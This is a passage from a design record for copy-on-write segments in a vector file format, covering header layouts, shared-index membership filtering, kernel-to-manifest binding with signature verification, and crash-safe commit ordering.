Mid-write failures must never corrupt the parent file or leave the child unreadable.\n- **Security**: Kernel images must be cryptographically bound to the manifest they serve; swapping segments between files must fail verification.\n- **Forward compatibility**: Existing tools that don't understand COW segments must still read the file (unknown segments are preserved).\n- **Incremental adoption**: RVCOW ships first as a pure types+runtime change; real kernel/eBPF artifacts ship second as an additive layer.\n\n---\n\n## 3. Considered Options\n\n### 3.1 COW Strategy\n\n| Option | Description | Verdict |\n|--------|-------------|---------|\n| **A. Immutable COW with generations** | Every write creates a new generation; old generations frozen | Rejected \u2014 excessive GC pressure |\n| **B. Mutable COW with snapshot-freeze** | Writes mutate in-place; explicit freeze creates immutable snapshot | **Accepted** \u2014 matches Git/QCOW2 model |\n| **C. Log-structured merge** | All writes go to a WAL; periodic merge into base | Rejected \u2014 poor random-read latency |\n\n### 3.2 Shared HNSW Index Strategy\n\n| Option | Description | Verdict |\n|--------|-------------|---------|\n| **A. Membership filter at query time** | Base HNSW shared; excluded nodes used for routing only, never returned | **Accepted** \u2014 zero index rebuild cost |\n| **B. Separate HNSW per branch** | Each branch builds its own index | Rejected \u2014 O(N log N) per branch |\n| **C. Lazy index patching** | Patch base HNSW in-place per branch | Rejected \u2014 complex, error-prone |\n\n### 3.3 Refcount Management\n\n| Option | Description | Verdict |\n|--------|-------------|---------|\n| **A. WAL-backed refcounts** | Every COW increment/decrement logged to WAL | Rejected \u2014 write amplification |\n| **B. Rebuildable metadata** | Refcounts derived from COW map chain; recomputed during compaction | **Accepted** \u2014 simpler, no WAL needed |\n\n### 3.4 Kernel Binding Mechanism\n\n| Option | Description | Verdict |\n|--------|-------------|---------|\n| **A. Command-line parameter** | Pass manifest hash via kernel cmdline | Rejected \u2014 cmdline easily stripped/modified |\n| **B. Signed footer in KERNEL_SEG** | 128-byte `KernelBinding` (padded) included in signed_data | **Accepted** \u2014 tamper-evident, part of signature |\n\n---\n\n## 4. Decision\n\nWe adopt **mutable COW with snapshot-freeze** using **four new segment types** (0x20-0x23) and a **KernelBinding footer** (128 bytes, padded) for the cognitive container. The complete design follows.\n\n---\n\n## 5. Segment ID Registry\n\n### 5.1 Current Allocation (ADR-001 through ADR-030)\n\n```\n0x00 Invalid \u2014 Uninitialized/zeroed region\n0x01 Vec \u2014 Raw vector payloads\n0x02 Index \u2014 HNSW adjacency lists\n0x03 Overlay \u2014 Graph overlay deltas\n0x04 Journal \u2014 Metadata mutations\n0x05 Manifest \u2014 Segment directory, epoch state\n0x06 Quant \u2014 Quantization dictionaries\n0x07 Meta \u2014 Key-value metadata\n0x08 Hot \u2014 Temperature-promoted data\n0x09 Sketch \u2014 Access counter sketches\n0x0A Witness \u2014 Audit trails, proofs\n0x0B Profile \u2014 Domain profile declarations\n0x0C Crypto \u2014 Key material, signatures\n0x0D MetaIdx \u2014 Metadata inverted indexes\n0x0E Kernel \u2014 Embedded kernel image (ADR-030)\n0x0F Ebpf \u2014 Embedded eBPF program (ADR-030)\n```\n\n### 5.2 New Allocation (This ADR)\n\n```\n0x10-0x1F Reserved \u2014 Witness subtypes, future near-compute segments\n0x20 CowMap \u2014 Copy-on-write cluster mapping (NEW)\n0x21 Refcount \u2014 Cluster reference counts (NEW)\n0x22 Membership \u2014 Vector membership filter for shared HNSW (NEW)\n0x23 Delta \u2014 Sparse delta patches for clusters (NEW)\n0x24-0xEF Available \u2014 Future growth\n0xF0-0xFF Reserved \u2014 Format-level reserved\n```\n\n### 5.3 Witness Event Types (New)\n\n```\n0x0E CLUSTER_COW \u2014 Full slab copy event\n0x0F CLUSTER_DELTA \u2014 Delta patch event\n0x10 CLUSTER_REVERT \u2014 Compaction reverted local slab to ParentRef (hash match)\n```\n\nThese extend the existing witness type namespace (0x01-0x0D already assigned by prior ADRs).\n\n`CLUSTER_REVERT` is emitted during compaction (Mode 2: Space Reclaim) when a local slab is found to be identical to the parent slab. Without this event, the provenance chain would have a silent state change \u2014 the slab disappears without audit trail.\n\n---\n\n## 6. RVCOW Type Definitions\n\n### 6.1 COW_MAP_SEG (0x20) \u2014 `CowMapHeader`\n\nThe COW map is the core data structure that maps cluster IDs to their physical locations. A \"cluster\" is a contiguous block of vectors sized for SIMD processing.\n\n**Cluster addressing**: `cluster_id = vector_id / vectors_per_cluster`\n\n**Default cluster sizes**:\n- 256 KB for f32/fp16 (general workloads)\n- 128 KB for frequent-edit workloads (LoRA)\n- 512 KB for read-heavy/archival workloads\n\n```\nCowMapHeader (64 bytes, repr(C)):\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Offset \u2502 Type \u2502 Size \u2502 Field \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 0x00 \u2502 u32 \u2502 4 \u2502 magic = 0x5256_434D (\"RVCM\") \u2502\n\u2502 0x04 \u2502 u16 \u2502 2 \u2502 version \u2502\n\u2502 0x06 \u2502 u8 \u2502 1 \u2502 map_format (0=flat_array, 1=art_tree, \u2502\n\u2502 \u2502 \u2502 \u2502 2=extent_list) \u2502\n\u2502 0x07 \u2502 u8 \u2502 1 \u2502 compression_policy \u2502\n\u2502 0x08 \u2502 u32 \u2502 4 \u2502 cluster_size_bytes (power of 2, SIMD-aligned)\u2502\n\u2502 0x0C \u2502 u32 \u2502 4 \u2502 vectors_per_cluster \u2502\n\u2502 0x10 \u2502 [u8; 16] \u2502 16 \u2502 base_file_id (UUID of parent file) \u2502\n\u2502 0x20 \u2502 [u8; 32] \u2502 32 \u2502 base_file_hash (SHAKE-256-256 of parent \u2502\n\u2502 \u2502 \u2502 \u2502 Level0Root manifest) \u2502\n\u2502 0x40 \u2502 u64 \u2502 8 \u2502 map_root_offset (offset to map data) \u2502\n\u2502 0x48 \u2502 u32 \u2502 4 \u2502 cluster_count (total clusters in base) \u2502\n\u2502 0x4C \u2502 u32 \u2502 4 \u2502 local_cluster_count (clusters stored locally)\u2502\n\u2502 0x50 \u2502 u8 \u2502 1 \u2502 extent_support (1=extents enabled) \u2502\n\u2502 0x51 \u2502 [u8; 3] \u2502 3 \u2502 _reserved (must be zero) \u2502\n\u2502 0x54 \u2502 [u8; 12] \u2502 12 \u2502 _reserved2 (must be zero) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\nTotal: 64 bytes (compile-time assertion required)\n```\n\n**Lookup contract**:\n```\ncluster_id \u2192 LocalOffset(u64) // cluster data stored in this file\n | ParentRef // cluster lives in parent; follow chain\n | Unallocated // cluster not yet assigned\n```\n\n**Invariants**:\n- Map is **deterministic** \u2014 cluster IDs must not be reordered.\n- Map must be **memory-mappable** \u2014 fixed-size pages for mmap + prefetch.\n- **Extent support**: Sequential runs of local clusters stored as single entries \u2192 O(extents) not O(clusters).\n\n**ART (Adaptive Radix Tree) implementation** (when `map_format=1`):\n- Fixed-size 256-byte nodes for direct mmap.\n- Path compression for sparse maps.\n- Extent entries for sequential runs.\n- Prefetch hints at inner nodes for NVMe latency hiding.\n\n**Source files**:\n- Types: `rvf-types/src/cow_map.rs` (~200 lines)\n- Runtime: `rvf-runtime/src/cow_map.rs` (ART implementation)\n\n### 6.2 REFCOUNT_SEG (0x21) \u2014 `RefcountHeader`\n\nRefcounts track how many derived files reference each cluster in a base file. They are **rebuildable metadata** \u2014 derived from the COW map chain, never edited in-place, and recomputed during compaction.\n\n```\nRefcountHeader (32 bytes, repr(C)):\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Offset \u2502 Type \u2502 Size \u2502 Field \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 0x00 \u2502 u32 \u2502 4 \u2502 magic = 0x5256_5243 (\"RVRC\") \u2502\n\u2502 0x04 \u2502 u16 \u2502 2 \u2502 version \u2502\n\u2502 0x06 \u2502 u8 \u2502 1 \u2502 refcount_width (1, 2, or 4 bytes per entry) \u2502\n\u2502 0x07 \u2502 u8 \u2502 1 \u2502 _pad (must be zero) \u2502\n\u2502 0x08 \u2502 u32 \u2502 4 \u2502 cluster_count \u2502\n\u2502 0x0C \u2502 u32 \u2502 4 \u2502 max_refcount (highest value in array) \u2502\n\u2502 0x10 \u2502 u64 \u2502 8 \u2502 array_offset (offset to refcount array) \u2502\n\u2502 0x18 \u2502 u32 \u2502 4 \u2502 snapshot_epoch (0=mutable, >0=frozen) \u2502\n\u2502 0x1C \u2502 u32 \u2502 4 \u2502 _reserved (must be zero) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\nTotal: 32 bytes (compile-time assertion required)\n```\n\n**Rebuild algorithm**: Walk the COW map chain from all known derived files \u2192 count references per cluster \u2192 write new REFCOUNT_SEG. This happens during compaction only.\n\n**Source file**: `rvf-types/src/refcount.rs` (~120 lines)\n\n### 6.3 MEMBERSHIP_SEG (0x22) \u2014 `MembershipHeader`\n\nThe membership filter controls which vectors are visible when querying a shared HNSW index. This enables Strategy A: the base HNSW is shared across branches; the filter decides which results to return.\n\n```\nMembershipHeader (96 bytes, repr(C)):\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Offset \u2502 Type \u2502 Size \u2502 Field \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 0x00 \u2502 u32 \u2502 4 \u2502 magic = 0x5256_4D42 (\"RVMB\") \u2502\n\u2502 0x04 \u2502 u16 \u2502 2 \u2502 version \u2502\n\u2502 0x06 \u2502 u8 \u2502 1 \u2502 filter_type (0=bitmap, 1=roaring_bitmap) \u2502\n\u2502 0x07 \u2502 u8 \u2502 1 \u2502 filter_mode (0=include [default], 1=exclude) \u2502\n\u2502 0x08 \u2502 u64 \u2502 8 \u2502 vector_count (total vectors in base) \u2502\n\u2502 0x10 \u2502 u64 \u2502 8 \u2502 member_count (vectors matching filter) \u2502\n\u2502 0x18 \u2502 u64 \u2502 8 \u2502 filter_offset (offset to filter data) \u2502\n\u2502 0x20 \u2502 u32 \u2502 4 \u2502 filter_size (size of filter data in bytes) \u2502\n\u2502 0x24 \u2502 u32 \u2502 4 \u2502 generation_id (monotonic, anti-replay) \u2502\n\u2502 0x28 \u2502 [u8; 32] \u2502 32 \u2502 filter_hash (SHAKE-256-256 of filter data) \u2502\n\u2502 0x48 \u2502 u64 \u2502 8 \u2502 bloom_offset (optional bloom accelerator, \u2502\n\u2502 \u2502 \u2502 \u2502 0=none) \u2502\n\u2502 0x50 \u2502 u32 \u2502 4 \u2502 bloom_size \u2502\n\u2502 0x54 \u2502 u32 \u2502 4 \u2502 _reserved (must be zero) \u2502\n\u2502 0x58 \u2502 [u8; 8] \u2502 8 \u2502 _reserved2 (must be zero) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\nTotal: 96 bytes (compile-time assertion required)\n```\n\n**Include mode** (default, `filter_mode=0`):\n- A vector is visible iff `filter.contains(vector_id)`.\n- **Empty filter = empty view** (fail-safe). This prevents accidental full-scan on uninitialized filters.\n\n**Exclude mode** (`filter_mode=1`):\n- A vector is visible iff `!filter.contains(vector_id)`.\n- Empty filter = full view.\n\n**Anti-replay**: `generation_id` is monotonically increasing. Enforcement rules:\n\n**On open** (enforced by runtime, not advisory):\n```\nif Level0Root.membership_generation > MembershipHeader.generation_id:\n return Err(MembershipInvalid) // stale filter, refuse to use\n```\n\n**On update** (enforced by runtime):\n```\nnew_generation_id must be strictly > Level0Root.membership_generation\nold MEMBERSHIP_SEG is preserved in the segment directory (superseded, not deleted)\nLevel0Root.membership_generation updated to new_generation_id\n```\n\n**Same rules apply to `cow_map_generation`**:\n```\nOn open: Level0Root.cow_map_generation > CowMapHeader version \u2192 CowMapCorrupt\nOn update: new generation must strictly increase; old COW_MAP_SEG preserved\n```\n\nThis prevents replay attacks and makes L0 cache invalidation safe \u2014 any cached generation less than the manifest generation is stale and must be evicted.\n\n**Source file**: `rvf-types/src/membership.rs` (~150 lines)\n\n### 6.4 DELTA_SEG (0x23) \u2014 `DeltaHeader`\n\nDelta segments store sparse patches for clusters where only a few vectors changed. This is the key primitive for LoRA overlays.\n\n```\nDeltaHeader (64 bytes, repr(C)):\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Offset \u2502 Type \u2502 Size \u2502 Field \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 0x00 \u2502 u32 \u2502 4 \u2502 magic = 0x5256_444C (\"RVDL\") \u2502\n\u2502 0x04 \u2502 u16 \u2502 2 \u2502 version \u2502\n\u2502 0x06 \u2502 u8 \u2502 1 \u2502 encoding (0=sparse_rows, 1=low_rank, \u2502\n\u2502 \u2502 \u2502 \u2502 2=full_patch) \u2502\n\u2502 0x07 \u2502 u8 \u2502 1 \u2502 _pad (must be zero) \u2502\n\u2502 0x08 \u2502 u32 \u2502 4 \u2502 base_cluster_id \u2502\n\u2502 0x0C \u2502 u32 \u2502 4 \u2502 affected_count (number of modified vectors) \u2502\n\u2502 0x10 \u2502 u64 \u2502 8 \u2502 delta_size (bytes of delta payload) \u2502\n\u2502 0x18 \u2502 [u8; 32] \u2502 32 \u2502 delta_hash (SHAKE-256-256 of delta payload) \u2502\n\u2502 0x38 \u2502 [u8; 8] \u2502 8 \u2502 _reserved (must be zero) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\nTotal: 64 bytes (compile-time assertion required)\n```\n\n**Delta policy** (hard rule at runtime \u2014 not a suggestion):\n```\nif changed_rows / vectors_per_cluster < delta_threshold (default 0.10):\n store DELTA_SEG (sparse delta)\nelse:\n full slab COW (copy entire cluster)\n```\n\n**Hot path guard** (hard rule \u2014 enforced, not advisory):\nIf `access_counter` for a cluster exceeds `hot_threshold`, delta segments for that cluster are **rejected** and the cluster is upgraded to a full slab copy on the next write. This prevents delta chains from degrading read performance on hot data.\n\n**Encoding modes**:\n- `sparse_rows` (0): Array of `(vector_offset, new_vector_data)` pairs.\n- `low_rank` (1): Low-rank factorization for LoRA-style updates.\n- `full_patch` (2): Complete replacement of affected rows (dense patch).\n\n**Source file**: `rvf-types/src/delta.rs` (~100 lines)\n\n---\n\n## 7. KernelBinding Footer\n\n### 7.1 Problem\n\nWithout binding, an attacker can:\n1. Take a signed kernel from file A.\n2. Embed it into file B (different vectors, different manifest).\n3. The kernel boots and serves file B's data with file A's attestation.\n\n### 7.2 Solution: Signed KernelBinding\n\nA 128-byte `KernelBinding` footer is added to the KERNEL_SEG payload, positioned between the `KernelHeader` and the command line. It is included in the `signed_data` computation, making it tamper-evident.\n\nThe structure is padded to 128 bytes (from 68 bytes of active fields) to allow future evolution without another wire format change. Future fields (minimum runtime version, allowed segment mask, attestation policy hash, capability flags) will consume reserved space.\n\n```\nKernelBinding (128 bytes, repr(C)):\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Offset \u2502 Type \u2502 Size \u2502 Field \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 0x00 \u2502 [u8; 32] \u2502 32 \u2502 manifest_root_hash (SHAKE-256-256 of \u2502\n\u2502 \u2502 \u2502 \u2502 Level0Root manifest bytes 0x000..0xFFB) \u2502\n\u2502 0x20 \u2502 [u8; 32] \u2502 32 \u2502 policy_hash (SHAKE-256-256 of security \u2502\n\u2502 \u2502 \u2502 \u2502 policy: signing requirements, ACLs, etc.) \u2502\n\u2502 0x40 \u2502 u16 \u2502 2 \u2502 binding_version \u2502\n\u2502 0x42 \u2502 u16 \u2502 2 \u2502 min_runtime_version (0=any, reserved) \u2502\n\u2502 0x44 \u2502 u32 \u2502 4 \u2502 allowed_segment_mask (reserved, must be 0) \u2502\n\u2502 0x48 \u2502 u32 \u2502 4 \u2502 capability_flags (reserved, must be 0) \u2502\n\u2502 0x4C \u2502 [u8; 52] \u2502 52 \u2502 _reserved (must be zero \u2014 future evolution) \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\nTotal: 128 bytes (compile-time assertion required)\n```\n\n**Rationale for 128-byte padding**: Adding fields later (e.g., min_runtime_version, allowed_segment_mask, attestation policy hash, capability flags) would otherwise require another wire format break. The reserved space absorbs future growth at the cost of 60 bytes per KERNEL_SEG \u2014 negligible compared to kernel image sizes.\n\n### 7.3 Updated KERNEL_SEG Wire Format\n\n```\n[SegmentHeader: 64 bytes] \u2014 Standard RVF segment header (type=0x0E)\n[KernelHeader: 128 bytes] \u2014 Kernel metadata (ADR-030, unchanged)\n[KernelBinding: 128 bytes] \u2014 NEW: manifest + policy binding (padded)\n[cmdline: cmdline_length bytes] \u2014 Kernel command line (optional)\n[compressed kernel image] \u2014 Kernel binary\n[Optional: SignatureFooter] \u2014 Ed25519 or ML-DSA-65 signature\n```\n\n### 7.4 Updated Signed Data\n\n```\nsigned_data = KernelHeader (128B) || KernelBinding (128B) || cmdline || compressed_image\n```\n\nThis is a **breaking change** to the KERNEL_SEG payload format. Existing test stubs that don't include KernelBinding will fail signature verification if signed. Unsigned stubs remain readable (KernelBinding is validated only when signatures are present).\n\n### 7.5 Launcher Verification Sequence\n\n```\n1. Extract KernelBinding from KERNEL_SEG payload\n2. Compute SHAKE-256-256 of current Level0Root (bytes 0x000..0xFFB)\n3. Compare computed hash to KernelBinding.manifest_root_hash\n4. IF mismatch \u2192 REFUSE TO BOOT (segments may have been swapped)\n5. IF signed \u2192 verify signature over signed_data\n6. Boot kernel with verified manifest binding\n```\n\n**Source file**: `rvf-types/src/kernel_binding.rs` (~60 lines)\n\n---\n\n## 8. RVCOW Runtime Design\n\n### 8.1 Read Path\n\n```\nquery(vector_id) \u2192\n 1. cluster_id = vector_id / vectors_per_cluster\n 2. Lookup cluster_id in ART map (or flat array / extent list)\n 3. Result:\n a. LocalOffset(offset) \u2192 mmap local cluster, return pointer to vector\n b. ParentRef \u2192 follow parent chain (recursive read from parent file)\n c. Unallocated \u2192 error (vector does not exist in this branch)\n 4. Distance compute on mapped slab (SIMD-aligned)\n```\n\n**Parent resolution contract** (explicit, enforced by runtime):\n\nWhen a `ParentRef` is encountered, the runtime resolves the parent file using this priority order:\n```\n1. Explicit path stored in META_SEG key \"parent_path\" (if present)\n2. Same directory: scan for file whose FileIdentity.file_id matches CowMapHeader.base_file_id\n3. User-provided search paths (via RvfOptions.parent_search_paths)\n4. Fail with ParentChainBroken (0x0702)\n```\n\n**Depth limit**: Parent chain traversal is capped at **64 levels**. If `lineage_depth > 64`, the runtime refuses to open the file and returns `ParentChainBroken`. This prevents cycles and malicious chains from causing unbounded recursion.\n\n**L0 cache**: Resolved `cluster_id \u2192 final_offset` mappings cached in a lock-free hash map. After warmup, lookups take <100 ns. Cache entries are tagged with the generation counter and evicted when the generation changes.\n\n**Performance contract**: COW read path adds at most one extra indirection (ART lookup) compared to monolithic read. Target: <10% latency overhead.\n\n### 8.2 Write Path (Mutable COW)\n\n```\nmutate(vector_id, new_data) \u2192\n 1. cluster_id = vector_id / vectors_per_cluster\n 2. Resolve current location via ART map\n 3. IF inherited from parent (ParentRef):\n a. Allocate new local cluster (append to EOF)\n b. Copy parent slab \u2192 local slab (full cluster copy)\n c. Apply mutation to local slab\n d. Update ART map: cluster_id \u2192 LocalOffset(new_offset)\n e. Emit CLUSTER_COW witness event\n 4. IF already local (LocalOffset):\n a. Apply mutation in-place to local slab\n b. (No witness event \u2014 already COW'd)\n 5. Invalidate L0 cache entry for cluster_id\n```\n\n**Write coalescing**: When multiple writes target vectors in the same inherited cluster within a single batch, only **one** slab copy occurs. The runtime buffers pending writes per cluster, copies the parent slab once, applies all mutations, then commits.\n\n**Acceptance test**: 10 writes to vectors in the same inherited slab = exactly 1 slab copy.\n\n### 8.3 Write Atomicity and Crash Recovery\n\n**Commit sequence** (ordered, each step depends on the previous):\n\n```\nStep 1: Write new slab data (append to EOF)\nStep 2: Write slab hash (append)\nStep 3: Write CLUSTER_COW witness event (append)\nStep 4: fsync()\nStep 5: Update Level0Root manifest (4096-byte atomic rewrite at fixed offset)\n \u2014 COW map root pointer stored in Level0Root reserved area\nStep 6: fsync()\n```\n\n**Crash recovery semantics**:\n- Crash before Step 4: Appended data is orphaned. No references in manifest. Invisible to readers.\n- Crash during Step 5 (torn Level0Root write): **Double-root scheme** recovers.\n- Crash after Step 6: Fully committed.\n\n**Double-root scheme** (concrete layout and semantics):\n\nTwo Level0Root copies are stored at fixed, known offsets:\n\n```\nRoot slot A: file_size - 8192 (offset EOF - 8192)\nRoot slot B: file_size - 4096 (offset EOF - 4096)\n\nEach slot contains:\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Offset \u2502 Size \u2502 Field 